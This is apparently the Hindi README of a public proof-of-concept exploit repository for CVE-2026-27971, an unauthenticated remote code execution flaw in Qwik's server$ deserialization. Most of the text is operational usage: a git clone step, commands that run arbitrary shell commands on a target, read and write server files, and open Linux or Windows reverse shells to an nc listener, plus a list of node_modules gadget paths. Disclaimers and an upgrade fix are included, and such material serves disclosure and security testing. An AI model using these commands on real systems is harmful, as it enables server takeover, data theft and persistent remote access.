
CVE-2026-27971 qwik rce
server$ बिना प्रमाणीकरण के RCE PoC[!WARNING] इस रिपॉजिटरी में एक सक्रिय रिमोट-कोड-एक्जीक्यूशन प्रूफ ऑफ कॉन्सेप्ट है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। लेखक अनधिकृत उपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
CVE-2026-27971 / GHSA-p9x5-jp3h-96mm के लिए एक स्टैंडअलोन Python प्रूफ ऑफ कॉन्सेप्ट, जो Qwik server$ RPC डिसीरियलाइज़ेशन तंत्र में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता है।
यह PoC एक सक्रिय मार्कर प्रोब कर सकता है, कमांड निष्पादित कर सकता है, टेक्स्ट फ़ाइलें पढ़ या लिख सकता है, और Linux या Windows लक्ष्यों पर रिवर्स शेल का अनुरोध कर सकता है। यह केवल Python मानक पुस्तकालय का उपयोग करता है।
| फ़ील्ड | मान |
|---|
| उत्पाद | Qwik — npm पैकेज @builder.io/qwik |
| प्रभावित संस्करण | <= 1.19.0 |
| पैच किया गया संस्करण | 1.19.1 |
| भेद्यता | असुरक्षित server$ डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन |
| रनटाइम शर्त | रनटाइम पर require() उपलब्ध होना चाहिए |
| CWE | CWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| गंभीरता | क्रिटिकल — CVSS 4.0: 9.2 |
| वेक्टर | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
एक तैयार application/qwik-json अनुरोध सर्वर-साइड मॉड्यूल और निर्यातित प्रतीक का संदर्भ दे सकता है। कमजोर Qwik संस्करण रनटाइम require() के माध्यम से एक अपंजीकृत QRL को हल कर सकते हैं और इसे बिना प्रमाणीकरण के लागू कर सकते हैं। यह PoC लक्ष्य के node_modules में पहले से मौजूद एक संगत प्रक्रिया-निष्पादन निर्यात तक पहुंचने का प्रयास करता है।
ऑपरेटर:
server$/Qwik JSON अनुरोध को संसाधित करता है।लक्ष्य:
@builder.io/qwik <= 1.19.0 का उपयोग करने वाली एक कमजोर Qwik तैनाती।require() उपलब्ध है।node_modules में सुलभ एक संगत गैजेट मॉड्यूल और निर्यात।PATH में node उपलब्ध है।कोई तृतीय-पक्ष Python पैकेज आवश्यक नहीं है।
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
अनुरोध भेजे बिना बिल्ट-इन गैजेट्स की सूची बनाएं:
python3 exploit_combat.py --list-gadgets
एक सक्रिय मार्कर प्रोब चलाएं और प्रत्येक बिल्ट-इन गैजेट का प्रयास करें:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeनिष्क्रिय संस्करण पहचान नहीं है। यह रिमोट कोड निष्पादन का प्रयास करता है और लक्ष्य प्रक्रिया से एक मार्कर प्रिंट करके इसकी पुष्टि करता है।
एक कमांड निष्पादित करें:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
एक UTF-8 टेक्स्ट फ़ाइल पढ़ें:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
एक UTF-8 टेक्स्ट फ़ाइल लिखें और सत्यापित करें:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
एक स्थायी लिसनर शुरू करने के बाद रिवर्स शेल का अनुरोध करें:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
जब स्वचालित OS पहचान अनुपयुक्त हो तो Windows रिवर्स-शेल पेलोड को बाध्य करें:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
स्क्रिप्ट एक लिसनर शुरू नहीं करती है। --callback प्री-चेक शेल पेलोड भेजने से पहले एक अलग TCP कनेक्शन खोलता और बंद करता है, इसलिए एक ऐसे लिसनर का उपयोग करें जो एक से अधिक कनेक्शन स्वीकार कर सके।
| विकल्प | विवरण |
|---|---|
-t URL, --target URL | सटीक लक्ष्य URL। डिफ़ॉल्ट: http://localhost:3000। रूट स्वचालित रूप से खोजा नहीं जाता है। |
--probe | एक मार्कर पेलोड को सक्रिय रूप से निष्पादित करें और OS पहचान का प्रयास करें। |
-c CMD, --CMD CMD | Node.js child_process.execSync() के माध्यम से एक कमांड निष्पादित करें। |
--read PATH | fs.readFileSync() का उपयोग करके एक UTF-8 टेक्स्ट फ़ाइल पढ़ें। |
--write PATH --content TEXT | एक टेक्स्ट फ़ाइल लिखें, उसे वापस पढ़ें, और परिणाम की तुलना करें। मूल निर्देशिकाएँ नहीं बनाई जाती हैं। |
--list-gadgets | बिल्ट-इन गैजेट नाम प्रिंट करें और नेटवर्क अनुरोध के बिना बाहर निकलें। |
--lhost IP | रिवर्स-शेल मोड सक्षम करें और कॉलबैक पता सेट करें। |
--lport PORT | कॉलबैक पोर्ट सेट करें। डिफ़ॉल्ट: 4444। |
--rev-all | पहले स्वीकृत HTTP अनुरोध के बाद रुकने के बजाय प्रत्येक रिवर्स-शेल वेरिएंट भेजें। |
--callback | रिवर्स-शेल पेलोड भेजने से पहले आउटबाउंड TCP पहुंच का परीक्षण करें। |
--OS {auto,linux,windows} | रिवर्स-शेल पेलोड परिवार चुनें। डिफ़ॉल्ट: auto। |
--gadget SPEC | auto, एक बिल्ट-इन नाम, या कस्टम <module>#<symbol> का उपयोग करें। डिफ़ॉल्ट: cross-spawn.sync। |
--arg-style {argv,command,shell} | कस्टम <module>#<symbol> गैजेट के लिए तर्क शैली। |
--timeout SECONDS | क्लाइंट-साइड HTTP टाइमआउट। डिफ़ॉल्ट: 30। |
--verify-ssl | TLS प्रमाणपत्र और होस्टनाम सत्यापन सक्षम करें। सत्यापन डिफ़ॉल्ट रूप से अक्षम है। |
पार्सर में क्रिया मोड परस्पर अनन्य नहीं हैं। प्रति आह्वान --probe, --CMD, --read, --write, या --lhost में से एक का उपयोग करें।
| नाम | मॉड्यूल और निर्यात | शैली |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto इन गैजेट्स को सूचीबद्ध क्रम में परीक्षण करता है। एक कस्टम गैजेट निम्नानुसार प्रदान किया जा सकता है:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync है, स्वचालित खोज नहीं। जब लक्ष्य निर्भरता लेआउट अज्ञात हो तो --gadget auto का उपयोग करें।--read UTF-8 की अपेक्षा करता है, और --write बाइनरी डेटा के लिए अभिप्रेत नहीं है।--rev-all लक्ष्य पर कई प्रक्रियाएँ या कॉलबैक शुरू कर सकता है। इसका उपयोग केवल एक पृथक लैब में करें।@builder.io/qwik को 1.19.1 या बाद के संस्करण में अपग्रेड करें, लॉकफ़ाइल अपडेट करें, एप्लिकेशन का पुनर्निर्माण करें, और सभी सर्वर आर्टिफैक्ट को पुनः तैनात करें। अकेले एक संगत गैजेट को हटाना अंतर्निहित Qwik भेद्यता के लिए पूर्ण सुधार नहीं है।
यह परियोजना सुरक्षा अनुसंधान, रक्षात्मक सत्यापन, और अधिकृत परीक्षण के लिए प्रदान की गई है। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ इसका उपयोग न करें।